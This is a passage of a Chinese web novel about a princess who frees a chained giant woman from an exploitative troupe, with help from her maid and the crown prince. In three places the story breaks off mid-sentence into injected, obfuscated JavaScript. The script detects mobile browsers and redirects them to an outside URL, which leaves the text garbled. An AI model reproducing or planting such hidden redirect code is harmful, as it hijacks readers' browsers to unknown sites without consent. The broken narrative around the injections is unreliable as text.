仙乐坊的大门雕刻着云纹,朱红漆色与鎏金细节交相辉映,在烛光的映照下流光溢彩。一进门,便是一道长廊,两侧精致的雕花木柱上挂满纱灯,映得廊内光影斑驳。长廊尽头便是坊内最大的勾栏戏台,台子呈半圆形,四周环绕着几层木质座位,层层环绕如莲花绽放,观众视线集中于台上,形成一种身临其境的观赏氛围。 长廊左右设有连廊通向几处庭院,连接着其他几处勾栏。坊内处处彩灯高挂,香气弥漫,叫卖声、吆喝声、乐器声此起彼伏,热闹程度不亚于都市夜店,却没那么刺耳。人群熙熙攘攘,有富家公子、素衣百姓,还有着装艳丽的表演者穿梭其中。 仙乐坊内几座小巧的阁楼被隔成了独立的雅间,供贵宾品茶赏戏。窗棂上雕有牡丹、鸳鸯等祥瑞图案,窗外便是潺潺流动的瑶川。河上不时有小舟轻荡,偶有前来观景的客人。雅间临窗而设,也成一景。左右都是仙乐坊的生意。 初来乍到,这里又是鱼龙混杂之地,叶斯年本想找个雅间坐下,瑾年却急不可耐地拉着她催促:“阿姐!啊姐!我们快进去呀!”于是几人便在瑾年的拉扯下穿梭在熙攘的人群中。 瑾年拉着叶斯年挤入一处勾栏,双眼亮亮地盯着台上的表演。鼓声骤起,台上的艺人跳跃翻腾,灵活如燕,一会儿飞檐走壁,一会儿刀枪并舞,场面惊险刺激,引得围观群众拍掌叫好,掌声此起彼伏。瑾年看得目不转睛,双眸闪烁着喜悦的光芒。 叶斯年望着瑾年雀跃的神情,也不禁被感染。然而,她很快便注意到有人贼眉鼠眼地盯着她们几人,不时低声议论。她朝青枝使了个眼色,青枝会意,轻轻拉了拉兰芝,示意她多加留意周围的动静。 一位中年男子走上台,身着华服,却是一副低眉顺眼的姿态。他满脸堆笑,估计是戏班子的班主。他用夸张的语调向看客们介绍道:“接下来要出场的,可是难得一见的‘奇人’!各位爷,可要瞧仔细喽!” 瑾年拉扯着叶斯年,眼睛却舍不得移开,一个劲地说“这一定就是三哥哥说的,新来的班子!” 幕帘后缓缓走出一位高大女性,她比寻常人高出几个头,几乎与房梁平齐。她穿着粗布麻衣,衣物上显露出补丁,神情木然地站定在舞台中央。 叶斯年离得很近,视线落在她的手腕和脚踝,不禁勃然。那一双手腕上有着淡淡的紫红色痕迹,似是长期被锁扣束缚留下的印记,脚踝处也不例外,显露出深深的勒痕。 围观的看客们无暇顾及那些细节,纷纷发出惊叹声,交头接耳议论不止。班主提高嗓门,满脸堆笑地喊道:“来来来,诸位瞧好!这位‘女巨人’可是我花了大价钱请来的!诸位有钱的捧个钱场啊!没钱的捧个人场!”他一挥手,看客们立刻响起热烈的掌声,目光紧紧盯着台上的女子,期待着一场不同寻常的表演。 她麻木地听从班主的指令,毫无生气地拿起一块磨盘,仿佛在完成一件再普通不过的工作。她的双手稳稳托起磨盘,缓慢地将其举过头顶,手臂上的肌肉线条在光下分明有力,引得周围观众一阵惊呼。 靠近些的富人随即掏出碎银或铜钱投掷上台,伴随着几声喝彩,更多的人开始慷慨地打赏。 班主站在一旁,脸上堆满了贪婪的笑容,不时拍手煽动气氛:“各位看得过瘾吧!再多捧个场,还有更厉害的表演!”他向台下伸出手,眼神紧盯着投来的铜板,笑得更加谄媚。 女巨人将两块厚重的磨盘用一根铁棍串在一起,略显费劲地举了起来。她满脸通红,目光空洞而麻木。她高大的身影遮住了台上几盏灯火,步伐沉重,每一步都让台板微微震颤。周围的观众瞪大了眼睛,有人不禁退后几步,低声惊呼议论,目光中夹杂着畏惧与惊叹。 瑾年用手捂着脸,从指缝里偷偷地往外看着,台上那位魁梧的女巨人每做出一个动作,她便吓得将脸埋进叶斯年的肩膀。青枝也在一旁攥紧她的手臂。 女巨人缓缓走到舞台中央,旁边的几个杂耍演员立刻围上来,衬得她的身影越发高大。只见她弯腰,双手轻而易举地抬起一根粗重的铁杆,几名杂耍演员迅速攀爬上去,分布在铁杆两侧,形成了一道悬空的“人墙”。观众席中发出一阵惊叹,几乎屏息注视着她的动作。 随后,她将铁杆缓缓放下,几个杂耍演员一跃而下,敏捷地翻滚落地,和观众开着玩笑,引得台下爆发出阵阵笑声。就在大家的视线集中在其他表演者身上时,女巨人又默默地抬起磨盘,没有一丝犹豫。她眼神空洞地咧开一个笑。围观的看客们掌声雷动。 叶斯年不忍看这场表演。她仿佛看到无数被囚禁在牢笼中的女性,她们带着锁拷,她们被凝视、被贩卖、被使用...... 她想起了叶思楠所在世界的历史上那位黑人女性——萨拉·巴特曼。19世纪初,萨拉因臀部丰硕,被商人从南非部落贩卖到巴黎,成为马戏团的一件“展品”。她被迫穿着裸露的服装供人观看、嘲弄,在屈辱中度过短暂的一生,26岁便因病去世。然而,即使死后,她的身体仍被男性科学家亵玩解剖,制成标本展览200多年。 为何无论身处哪个世界、哪个年代,女性总是如此轻易沦为被凝视的客体?她们的价值被他者的目光定义,逐渐沦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从萨拉·巴特曼到女巨人,从叶思楠到无数挣扎的女性,她终于明白,这不仅仅是某个体的不幸,而是千百年固化的男性社会结构形成的阴影,而这片阴影还将伴随此间女子千年。 台上的表演已然落幕,台下的看客纷纷将赏钱抛向舞台,喧嚣热闹一片。而叶斯年却已无心观赏,心中涌动着复杂的情绪。 她想起传闻中关羽以神力闻名,曾徒手举起磨盘,后来得青龙偃月刀与赤兔马相助,终成一代武圣。而眼前这位女巨人,同样天赋异禀,拥有惊人的力量,却只能沦为戏班敛财的工具。若她是男子,这般天赋或许早已让她驰骋沙场,封侯拜将。 “大沅盛世?”叶斯年脑海中浮现出太子的话。若女子的悲剧还将延续千年,这盛世不要也罢! 叶斯年强压心头的愤怒,等到表演结束,低声吩咐兰芝送瑾年先回府,自己则悄悄找到戏班子的班主。 班主见她气质不凡,立刻堆起一副精明的笑容,态度虽恭敬,眼中却满是精打细算的光。他笑得满面春风:“这位娘子,可有何吩咐?” 叶斯年冷冷开口:“那位‘女巨人’,开个价吧。” 班主微微一愣,旋即掩去脸上的惊讶,假装矜持地笑道:“娘子,这人可不便宜!她可是我花了大价钱从其他戏班子买来的,刚演了几场就引得全城轰动啊。这是我的摇钱树,若要赎她,得出个好价钱啊!” 听到他们如此将人买来卖去,叶斯年已是怒火中烧,忍着怒意说道:“你真以为她能支撑几年?每日这般磨损,她的身体早晚会撑不住。再者,她要表演力气活,就得吃饱饭,光是供她吃饭,怕也不是小数目了吧?” 这时,女巨人正好经过,被戏班子的伙计上了手铐脚镣。她似乎听到了叶斯年的话,抬头看了一眼,目光依旧空洞麻木,仿佛眼前之人也不过是寻常的买家。 “我看她身子有些颤抖了,等她撑不住了,赔本的是你。少废话,开价。”叶斯年冷冷说道。 “五百两!”班主脸上再无笑意,声音冷了几分。 “明日午时之前,我来找你。”叶斯年懒得再与他周旋,直接转身离开。叶绍给的银票她没带在身上,但她想着,叶绍的钱总归是不如太子的来得容易,便决定明早拿着令牌去浮生堂取银票。 她心中已有决定,接受太子的邀请,去当这个太子妃。她要先走上高位,拿到话语权,去撕碎这男性书写的历史强加在女性身上又臭又长的裹脚布! 青枝察觉到她的情绪,紧跟在她身后,忍不住低声问:“您为何要花这么多银两赎下这位女巨人?虽说她确实可怜的……” “去他的大沅盛世,我要女子的盛世!” “是!郡主……” 青枝愣愣地伫立在原地。瑶川的风带着微微的水汽,吹得她不由打了个冷颤。她回头望了一眼低垂着头的女巨人,她的双肩微微塌下,目光空洞,失去了聚焦,任凭散乱的发丝遮住了半张脸。那副高大魁梧的身躯,透出一股丧失了生气的沮丧,像是一座孤寂的山峰,屹立在原地,了无生机。 而前方,她的郡主大步流星地走着,衣袂轻扬,在黑暗中熠熠生辉。 她怔怔地望着,仿佛看到那个隐忍度日的娘子,在另一世里自在如风、披荆斩棘。 10. 强抢民女 清晨的金坊街笼罩在薄薄的秋雾中,几缕晨光穿透雾气,洒向街道两旁鳞次栉比的商铺上。每一家铺子的匾额都在晨曦中泛着微光,字字如雕。官使库、解库、交子务、钱庄、当铺、票号、商会……瑶京乃至整个大沅的财富在此汇集,气派非凡。 街上商贾云集,富商们穿着华贵的衣袍,头戴玉冠,或站或走,谈笑风生。在晨光的映照下,他们神采飞扬的模样显得更为耀眼,那自信笃定的神情让人不由得相信,这些人随意一句话便能搅动这座瑶京城的商势。 而街道的最里边,几位神色窘迫的百姓低着头,抱着破旧的包裹排在当铺前,目光焦灼、神色憔悴。有人将包裹紧紧揣在怀里,双目带着几分警惕,不安地环顾四周;也有人一手抱着孩子,一手攥着手中的包裹,脸上尽显无奈与疲惫。他们衣着单薄,在萧瑟的秋风里显得形销骨立。 青枝看到这一幕,轻声说道:“郡主,坊间传闻浮生堂的蔡东家宅心仁厚,典当期限比别家更长,利息也更低。” 叶斯年冷笑一声,目光落在那些衣衫褴褛的百姓身上,语气中满是讥讽:“都是吃人的地方罢了。拉长期限、放低利息,不过是怕他们跑了或者死了。不过是打着怜悯的旗号,收割贫民的血汗罢了。” 她的话在这片秋晨的寂静中显得格外刺耳,浮生堂的大门“也在此时吱呀”一声,缓缓开启。 叶斯年与青枝跟在几位百姓后面进入当铺。柜台高至成人胸口,顾客需要将典当之物高高举过头顶,才能递到朝奉面前。叶斯年不禁感叹,还真是“居高临下好压价”。 叶斯年环顾四周,正准备寻找合适的人交涉,就听见朝奉的声音传来,一字一句,毫不掩饰地唱出每件物品的名称、特征、品相和估价—— “一对旧银簪,成色七分,稍有裂纹,估价……五钱银!” “一件旧棉袄,面料已旧,补丁多处,估价……三十文铜钱!” “一只铜碗,旧物有残,估价……一十文!” “一只木制手环,孩童之物,磨损严重,估价……十五文。” 这些物件,或是传家之物,或是日常用具,或是对寄托逝去亲人的思念。有人点头道谢,有人拱手致意,然后匆匆收起当票,小步快跑地离去,仿佛生怕下一刻会生出悔意。 贫苦百姓所求的,从来不是什么怜悯,而是真金白银。浮生堂里各取所需,只认物不认人,没有轻蔑的言辞,也不设一排护卫,倒也的确算得上是一种宽厚。 叶斯年看到柜台一侧有个小窗,一人端坐,神态沉稳,身边摆着茶盏。叶斯年猜测那人才是掌柜,便径直走向窗口,取出令牌:“我要见蔡东家。” 太子的令牌以温润的白玉雕琢而成,玉色如霜,表面隐隐泛着清冷的光泽。正面以浅浮雕的云纹环绕,边缘以金线细细勾勒,中间刻着一个篆体“东”字,背面则雕有瑞兽“白泽”图案,估计是指他东宫太子的身份吧。 掌柜见到令牌,神色微动,不敢多问,恭敬地低下头,低声道:“请稍等一二。”随后,他转身快步离开,动作迅速却不显慌乱。 不多时,一个头发微白的男子从内堂缓步走出。此人身穿一袭青布袍,衣袍朴素干净,面容沉稳,步履稳健。他走上前来,拱手微微躬身道:“在下蔡某,不知这位娘子有何吩咐?” 她活了两世,还是第一次开口要这么多银子。看着蔡东家对她如此恭敬,她一时竟有些不好意思,但转念一想,反正太子说了银子管够,可不得给他个面子。于是她也不多废话,直接道:“我需要五百两。” 她将令牌递给蔡东家,原本以为是要典当此物,却没想到蔡东家见了令牌,神色愈加恭敬,竟后退几步,郑重拱手行礼,低声问道:“需要现银还是银票?” 她愣了愣,尴尬地收回令牌,轻咳一声:“银票吧……” “蔡某这就吩咐下去。”蔡东家恭敬地答道,随即退下。 青枝在一旁瞪大了眼,忍不住凑近小声道:“郡主,太子竟这般阔绰!那我们多来几次,是不是就成瑶京首富了?” 叶斯年被她的妙计逗乐了,挑眉把令牌递给她,笑道:“那要不给你?你每天来取五百两。” 青枝像炸毛的小猫般,猛地挺直了身子,头摇得像拨浪鼓。 叶斯年笑意未减,忽然想起自己决定入宫的事情还未与青枝提起,心中一沉,想着晚上得好好与她聊聊。若青枝不愿随她入宫,她便给青枝一些金银,或是在瑶京帮她置些产业,好好安顿下来。 蔡掌柜很快便出来,将银票递给叶斯年。叶斯年轻轻道谢,随即与青枝一同离开。 此时的金坊街愈发热闹,行人熙熙攘攘,笑声、吆喝声、叫卖声混杂在一起,热闹非常。 两人一路前往仙乐坊。白天的仙乐坊少了夜晚的喧嚣,但依然显得奢华气派,雕梁画栋,处处透着讲究。勾栏内,戏班子正排练节目,叶斯年一眼便看到了昨日的班主,只是那位女巨人却不见踪影。 叶斯年径直走上前,班主见状,连忙恭敬行礼,堆笑道:“小人昨日失礼,不知是郡主大驾光临,多有怠慢,还请恕罪。” 叶斯年心中微微一沉,隐隐感到不安。这个班主调查过她的身份了。她不愿与他多言,直接示意刚到手的五百两银票,冷声道:“人和卖身契给我。” 班主看着银票,眼中闪过一抹亮光,随即掩饰住内心的渴望,笑得谄媚又小心翼翼,缓缓说道:“郡主息怒,昨日小人确实不知是您。只是这买卖嘛,向来是价高者得……” 叶斯年闻言,心头怒火升起,没等她开口,青枝已经抢上一步,眼神凌厉,厉声质问道:“既然知道是宁安郡主,还不交代清楚?” 班主贼眉鼠眼,陪笑道:“郡主恕罪,您可别为难小人。昨夜花月阁的东家也找过小人,他们可是出了八百两啊……不过既然知道郡主身份,小人自然不敢怠慢,只是……这数目相差太多,小人这戏班子走南闯北,吃喝开销也不小啊,郡主您看……” 青枝已按捺不住,手已落在刀柄上,微微抽出一截,刀光隐隐闪现,目光冰冷。 班主见状,连忙摆手,讪笑着说:“人还在,人还在,只是……这花月阁实在出的价太高,小人也是难为啊……” 叶斯年一边听着,一边冷冷看着班主,心中已然明白,原来他是想借机坐地起价。但那花月阁出价八百两,倒让她心生疑虑:究竟是班主故意抬价,还是真有花月阁愿意以高价收人?这花月阁什么来头? 叶斯年心知其中有诈,冷声说道:“我要先见到人。” 青枝闻言,将半抽出的短刀收回,退到叶斯年身侧。班主见状,连忙点头哈腰,恭敬地说:“小人这就把人请出来给您过目。” 叶斯年眉头微皱,心中愈发不悦。什么叫“过目”?把人当什么了? 她忽然注意到青枝的手微微颤抖,情绪激动,便轻声问道:“怎么了?” 青枝咬了咬牙,低声答道:“郡主,花月阁……是瑶京有名的风月场所。” 叶斯年闻言,心头怒意顿时翻涌而上,气血直冲脑门。她闭上眼,深吸一口气,努力平复心绪,生怕自己一激动又晕过去。脑海中不由得再次浮现出萨拉·巴特曼的悲惨遭遇,想起《黑色维纳斯》里的情景——她最终被卖入妓院,备受折辱和剥削,最终染病身死。 叶斯年攥紧手中的银票,愤怒如潮水般翻涌在胸中。太子说这银两管够,可这银两绝不该落到这种人手里!谁知道有多少女子会被这样的人买来卖去,最终被卖到风月场所! 叶斯年暗自打定主意,决不允许这种龌龊的勾当发生。她心生一计。 这时班主带着女巨人从幕帘后走出。女巨人低垂着头,手脚被沉重的铁链束缚着。叶斯年示意青枝拦住班主,自己则上前一步。 她目测对方的身高在两米开外,自己不过到她胸口的位置。叶斯年看着她手腕和脚踝上沉重的镣铐,心中生疑:明明上台时可以解开,为什么在台下非要锁着她?但眼下时机紧迫,她压低声音迅速问道:“你愿意跟我走吗?” 女巨人没有反应,眼神麻木,像是早已习惯命运的摆布。叶斯年明白,她可能把自己当成了另一个买家,甚至可能以为自己又是哪个风月场所的东家。 叶斯年微微一顿,郑重地说:“你愿意当我的护卫吗?” 这句话仿佛朝深渊里投下了一枚石子,女巨人的眼中一闪而逝的诧异让叶斯年终于听到了她的回应。她微微颤抖着,铁链发出轻微的声响。 叶斯年低声对她说道:“今晚我会来找你,留意我的动作,跟着她走。”说罢,她看了看青枝的方向,微微示意。 说罢,她假装检查她的手脚,确认女巨人无大碍,随后转身对班主冷声道:“一千两,我明天还是这个时辰再来。别耍花招。”说完,她拍了拍女巨人的肩膀,示意她稍安勿躁,而后带着青枝转身离去。 回到叶府,叶斯年将自己的计划一一告诉青枝,希望她能助自己一臂之力。 还未等青枝回应,她话音一转,提到自己打算进宫当太子妃,虽不知官家做何打算,但这是她和太子目前的决定。“这并不是因为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698871|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱情,”叶斯年平静地说道,“只是合作而已。我将要走的路,恐怕不太寻常。若你不愿入宫,你想做什么我都会替你安排妥当。” 想要青枝或许会猜测太子的身份,她略一沉思,说道:“太子的事你别多问,我也不会说。” 青枝听后沉默片刻,说道:“我从小陪娘子习武,她说是姐姐说的,要学会保护自己。我下了很多功夫,因为我还想保护娘子,可是…..”她收敛起情绪,继续说道:“我见过许多比我还小的女孩被卖入戏班、卖到风月场所。我没有郡主的魄力,也不及娘子善良温柔,但若跟着郡主,能保护更多女子免受苦难,我愿意。” 叶斯年闻言微微一怔,心头一股酸涩涌起,她不禁想到:倘若自己太过莽撞,或许会将这个时代的女子带入另一种困境。她忍不住低声问道:“可万一……万一我也保护不了你们呢?” 青枝抬头,目光坚定:“那就从救下那位女巨人开始。她可以保护我们。一定可以!” 她的话语沉着而坚定。叶斯年仿佛就此看到了一条微光隐现的道路。 她心中欣喜,随即与青枝商量起今晚的行动。眼下叶绍不在家,她找不到可靠的人手帮忙,而承勇那边就没说过几句话。若是她自己出面倒也罢了,顶多被扣个“刁蛮郡主”的帽子,若承勇被人认出来,那可就是叶家军的事,影响不好。 两人又是换上一身黑色束袖劲装出门。为防万一,叶斯年随身带了太子的令牌,以备不时之需。她想着,万一被官府的人逮着了,好歹还能让太子来捞自己一把。为了避开瑾年,她们干脆翻墙出府。 叶斯年暗自思忖:自己来叶府的日子不长,府里四处院墙倒是翻了个遍,看来叶府的护卫差了些。正想着是不是该和叶绍提一提,就见一名护卫抬头瞧见她们正跨在墙头,目光一滞,随即装作没看见一般,转身离去。 青枝见状,尴尬地轻咳一声,催促道:“郡主,快些下去吧。” 两人一路小跑到达仙乐坊,依旧是人声鼎沸、热闹非凡。但此时两人无暇观望,径直钻入人群,快步找到昨日的勾栏。 女巨人还未登场,叶斯年与青枝低声商量几句,随即一左一右站在台前显眼的位置。 不久,班主上台,依旧是昨日那套说辞。片刻后,女巨人登场了。与昨日的麻木不同,她一出场便环视四周,目光扫到台下的叶斯年和青枝,微微一顿。 叶斯年带着指虎,但对这种武器并不熟练。只知它杀伤力极强,极易伤人性命,因此还没戴上,只用布带缠在手掌上,权作简易的护手。 就在女巨人举起磨盘之际,叶斯年抬起左手,做了个示意的手势。女巨人目光一亮,看懂了她的信号,随即双手一松,将那重约三百斤的磨盘猛然砸落地面。勾栏内外,戏班子成员与看客见状,无不惊骇,纷纷尖叫着四散逃开,班主也不由得脸色一变。 青枝立刻上前,朝女巨人伸出手,示意她跟自己离开。这位郡主初来乍到,哪会有什么周全的计划。青枝先将人带出去,留下叶斯年在此应对局势。她确信班主再如何嚣张,也不敢加害宁安郡主。若仙乐坊的人追出来或事情闹上官府,她也可直接指认班主滥用私刑,将手铐脚镣加于女巨人身上。 至于赎身,她打定主意照卖身契上的金额给付——不过十几两银子。眼下,这戏班子竟敢狮子大开口索要一千两银子。叶斯年暗自思忖:别说一千两了,五百两给出去,太子的大沅盛世可就多了一块毒瘤了。 与此同时,叶斯年身形一动,轻盈地跃上台,迅速逼近班主,反手一扣将他控制住,随即一脚踢向他的膝盖。班主只觉膝上一阵剧痛,半个身子顿时失去平衡,挣扎着却无法站稳,脸上显出惊恐之色。 仙乐坊的护卫闻声赶来,几人围拢上前。叶斯年冷眼扫视,不待他们靠近,脚下一滑,避开来势汹汹的一人,随即反手一击,正中对方太阳穴,将他震退数步。借此机会,她跃起肘击第二名护卫的侧颈,另一只手格挡住第三人的攻击,迅速转身,一记利落的摆拳将他打得向后跌倒。 动作一气呵成,毫无迟疑。叶斯年目光冷冽,攥紧班主的手臂,厉声道:“把卖身契拿出来。” 班主被压制得喘不过气,惊恐中眼神闪烁。叶斯年冷冷地将他推向前,沉声道:“卖身契上的数额我照数给你!人,反正已经走了。” 班主痛得倒地拍着地板,叶斯年松手放开他。班主大口喘着气,忽然露出似笑非笑的神情,冷冷说道:“郡主大人,您当真以为人能走得了?” 叶斯年心中一凛,事情果然没那么简单! 11. 夜幕之下 秋风萧瑟,青枝紧紧拉着女巨人的手,快步穿行在狭窄的巷子里,脚步声在空旷的夜色中回荡,像是被放大的心跳声。女巨人沉默地跟着青枝,小巷的尽头隐隐透着昏暗的烛光,是这个夜幕下唯一的光亮。 她望着前方那小小的身影,低头看着自己的手,粗糙、冰冷,似乎早已失去了温度和希望。眼前这个小小的女子,明明身形瘦小,却带着一股让她陌生的力量,仿佛要将她从这无尽的黑暗中拉向光明。 冷冽的夜风吹过,巷子两侧的枯叶沙沙作响,低声絮语般环绕在耳边。她扯了扯嘴角,似乎想要笑,可那张多年面无表情的脸早已僵硬,笑容生涩而僵滞。 她一度以为这两位女子只是她的幻境。这些年,她的神智常常恍惚……她曾无数次幻想着有人带她离开——所以,这是幻觉吧?可这双小小的手却温暖而有力。 青枝的呼吸声渐渐急促而凌乱,握住她手的力度也微微发颤。女巨人忽然停下了脚步,青枝猝不及防被拽得一顿,怔怔抬头看她,满是不解和焦急。 她低头看着青枝,喃喃道:“我走不了的。”她的声音低沉沙哑,庞大的身躯被黑夜吞没。 青枝愣了一下,眼中噙满泪水。她看见星光闪烁。她真的走出来了。 她的身躯在这窄窄的小巷里略显突兀。今夜无月,她抬头看向漫天星光:“我从来没有这么开心过……谢谢你们。” 青枝稍稍顿住,紧了紧握住她的手:“跟我走!你不用再回那个地方的。”她眸光微微颤动,生出不详的预感…… 与此同时,叶斯年在仙乐坊内逼问着班主到底做了什么。 班主不慌不忙地摆出一副无辜的模样,口中胡言道:“郡主大人,小人不过是个戏班班主,走江湖讨生活,若有冒犯,还望大人见谅啊!”说罢,露出几分狡黠的笑意。 叶斯年冷冷地看着他,脸上毫无表情,但内心的愤怒却如火焰般燃烧。她戴上指虎,手一挥,狠狠一拳砸向地板。指虎嵌入木质地板,“砰”地一声震响,地面顿时出现一个破洞,碎木屑飞溅,吓得班主连连后退。 “说!”叶斯年目光如刃,声音低沉而凌厉。 班主脸色骤变,眼中闪过一丝恐惧,正要狡辩,门口却传来一阵嘈杂声,打断了他的言辞。厅内灯火摇曳,影影绰绰间,两帮人马混战成一团,喊叫声和兵器碰撞声响成一片,分不清谁是谁。叶斯年瞥见,其中一方是仙乐坊的护卫。 就在此刻,班主趁乱从袖中取出一个瓶子,猛地洒向叶斯年。她措手不及,迷了双眼,顿时一片刺痛,视线一片模糊,眼泪不断流出。班主起身连跪带爬跑出了勾栏,消失在纷乱的人群中。 就在这时,一只宽厚的大手抓住叶斯年的手腕,声音里透出几分慌乱:“别揉眼睛!我带你出去!”声音熟悉,是赵煜。 叶斯年紧闭着双眼,刺痛如火灼般涌上,泪水不停地滑落。她急忙吼道:“快追那个混账!” 赵煜抱起叶斯年,疾步冲向门外。身后,他的护卫迅速涌入,将仙乐坊的护卫团团围住,刀剑出鞘,寒光闪动。仙乐坊的长廊上瞬间杀气四溢,光影斑驳间,刀光剑影交错。 叶斯年双眼紧闭,只能听见赵煜急促的呼吸声,还有兵器碰撞的声音在耳边回响,心跳也随着紧张的节奏加速跳动。 赵煜抱着她一路疾行,直奔瑶川河边。他将叶斯年放在河畔,急急扯下自己的一截衣袖,快速接了一捧河水,小心地给她清洗眼睛。凉意瞬间带走了些许刺痛,但叶斯年依旧不敢完全睁眼。 他一捧一捧地接过河水倒在她掌心上,满脸焦急地问:“怎么样?好些了吗?要不你跳水里,我会游泳的,不怕你淹着。” 叶斯年忍不住笑出一声,随后又疼得皱起眉,半睁开眼,勉强看了看眼前的太子。他的袖子撕开了一块,凌乱的发丝也被汗水黏在额角。 “瞧你这狼狈的样儿,你自己跳河吧。”她声音低哑,带着一丝调侃,强忍着疼痛微微一笑。闭着眼,享受着清凉的河水缓解眼中的灼痛,片刻后轻声说道:“谢啦。” 赵煜闻言愣了一下,低头看了看自己,毫不在意,继续接过河水为她冲洗眼睛,嘴里却责备道:“你怎么如此鲁莽?要做什么事儿,你先跟我说一声啊。” 叶斯年微微一怔,的确,她没打算找太子帮忙。毕竟银子已经拿了,再开口要人手,总觉得有些过分。心中暗忖,也不知太子是否察觉了她拿了五百两银子的事,反正最终没用上,明天悄悄还回去便是。 在河水的冲洗下,叶斯年眼中的刺痛逐渐缓解,终于勉强睁开双眼,虽然视线依旧有些模糊,但已能依稀看清眼前之人。这位太子的模样此刻越发显得凌乱:长袍的下摆被河水浸湿,湿漉漉地贴在腿侧,衣袖撕下一角,微乱的发丝垂落在额前。然而,这张俊美的脸毫无狼狈之态,反倒因几缕凌乱的发丝,而显棱角分明,添了几分随性之美。唇色微微泛红,宛如花瓣轻染,平添一抹摄人心魄的风采。 “怎么样?能看清了吗?”赵煜语气中透着几分迫切,目光紧紧锁在她的双眼上。此刻,她眼眶通红,眼角微微肿起,显得有些可怜。他眉头一皱,轻声说道:“一会儿看看太医,别影响视力。”他半跪在她身侧,双手不安地悬在空中,想触碰却又怕弄疼她。 叶斯年深吸一口气,撑起身子,故作轻松地说道:“好了,不用跳河了。”随即她轻轻推了推他的手,表示已经好多了。 赵煜看她这副满不在乎的模样,有点想发脾气,但话到嘴边又咽了回去,只能叹气了。 “我接到蔡东家的消息,还以为你打算跑路了,”他语气中带着责备,“你要是真打算跑,五百两哪够?连个信儿都不留,真要不告而别了,我上哪儿找你去!” 他微微抬起下巴,继续说道:“我一赶到叶府,就看到两个人鬼鬼祟祟地趴在墙上,连包裹都没带,看着也不像要逃跑。看你一路往仙乐坊,心想你八成要惹事儿了。我正想着先跟官府打声招呼呢,你就动手了。要不是我带了几个人,你受伤的恐怕就不只是眼睛了。” 叶斯年望着眼前这位满脸责备的太子,心知自己理亏,毕竟拿了人家的银子,确实不好反驳。她微微一笑,放柔了语气道:“好啦好啦,您辛苦啦,真棒!” 她还顺手拍了拍赵煜的肩膀,以表示对他的夸奖。此刻,她眼睛红肿,头发凌乱,衣衫湿了一片,整个人看上去颇为狼狈,但随即正色道:“不过眼下还是先解决正事吧,那家伙使了手段,估计是下了药来控制人。我要把卖身契和解药一并拿到手。” 这时人群中传来一阵惊呼。青枝和女巨人已将班主堵在角落,青枝掏出短刀,刀光寒冷,架在班主的脖子上,怒声道:“你对她做了什么?” 围观的群众纷纷后退,生怕惹祸上身,但又忍不住好奇,探头探脑,交头接耳地议论着。 女巨人一把拉开青枝,青枝被她拽得踉跄一下。女巨人顺势扶住她,将她护到身后,眼神冷冽,直盯着班主。 叶斯年听到青枝的质问声,心中已有几分明了,顾不得四周人多,快步上前,一把揪住班主的衣领,冷声道:“把东西都交出来!” 班主脸上挤出几分谄媚的笑,朝围观的众人喊道:“小人不过是走江湖讨生活,不知哪里得罪了郡主大人!我手里可是有女巨人的卖身契,价钱也早已谈妥了。郡主如此作为,怕是有些不妥吧?” 围观的群众窃窃私语,纷纷投来疑惑的目光。 叶斯年冷笑一声,厉声道:“私自买卖人口,本就是违法之事!” 班主不以为然地冷笑,嘴角带着一丝挑衅:“这世上违法的事多了,郡主怎么单单找上我?戏班子走南闯北,要是不用些手段,手下的人又怎肯服从?我这也是被逼无奈罢了。”他眼中闪过一丝狡黠,似乎有恃无恐。 太子见围观人群众多,心知再闹下去恐对新晋郡主的声誉不利,便上前将叶斯年拉到一旁,冷冷地对班主道:“既如此,不如去官府走一趟,看看你的卖身契是否在册。”他随即转向女巨人,目光冰冷,厉声道:“更何况,你滥用私刑,郡主正是见不得你这种勾当,才出手相救!” 班主脸色微变,但很快镇定下来,起身拍了拍身上的灰尘,挤出一丝笑容,转向女巨人道:“不如问问当事人的意愿,看看她究竟是想跟你们走,还是留在我的戏班子里。” 这时,女巨人默然站了出来,依旧是那空洞的眼神,却透出一抹坚毅的神色。她缓缓开口,声音低沉而浑厚:“我走不了,但我也不想留下。今晚,我可以死——但你也别想活。” 她的语气平静,却透着不容置疑的冷意,仿佛生死已然无关紧要。她一步步朝班主逼近,每一步都如同钉下的誓言,那庞大的身影在昏暗中显得如山一般坚毅。 班主见状,脸色骤变,连连后退,仓皇叫道:“你别过来别过来!” 青枝眼里噙满了泪水。她想拉住女巨人,却发现自己根本拽不动她。女巨人每一步都沉稳如山,目光锁定在班主身上。 她赤手空拳,脸色平静,却宛如杀神。 班主慌乱地后退,结巴着说道:“别过来!别过来!”他喘着气,眼神躲闪。 就在此时,瑶安府的人匆匆赶到,一边高声喝问:“何人敢在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶斯年抬起头,镇定地说道:“我发现此戏班班主私自买卖人口、滥用私刑,还给班子里的人下毒!我准备揭露其罪行时,他试图逃脱并重伤我双眼!” 推官点头示意记录的书吏做好记录,随即转向班主,冷声道:“可有何解释?” 班主连忙低头,装作委屈,连声道:“大人,小人不过是走江湖讨生活,怎会行那贩卖人口之事?小人确实与郡主有些误会,至于她口中所谓的‘下毒’,不过是些寻常的迷药,只为自保,绝无害命之意啊!” 女巨人闻言愣住,紧握的双拳微微松开,嘴角露出一丝轻蔑的笑意,随即像一座山体倒塌,轰然跪倒在地,眼神黯淡无光。 